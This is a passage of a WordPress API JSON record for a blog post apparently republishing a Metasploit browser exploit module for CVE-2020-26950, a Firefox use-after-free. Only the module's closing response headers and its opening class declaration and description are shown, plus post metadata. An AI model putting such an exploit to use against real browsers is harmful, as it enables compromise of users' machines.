\/>\n&#8216;Content-Type&#8217; =&gt; &#8216;text\/html&#8217;,<br \/>\n&#8216;Cache-Control&#8217; =&gt; &#8216;no-cache, no-store, must-revalidate&#8217;,<br \/>\n&#8216;Pragma&#8217; =&gt; &#8216;no-cache&#8217;, &#8216;Expires&#8217; =&gt; &#8216;0&#8217;<br \/>\n})<br \/>\nend<\/p>\n<p dir=\"ltr\">end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer::BrowserExploit def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;Firefox MCallGetProperty Write Side Effects Use After Free Exploit&#8217;, &#8216;Description&#8217; =&gt; %q{ This modules exploits CVE-2020-26950, a use after free exploit in Firefox. The MCallGetProperty &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21145","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21145","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21145"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21145\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21145"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21145"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21145"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}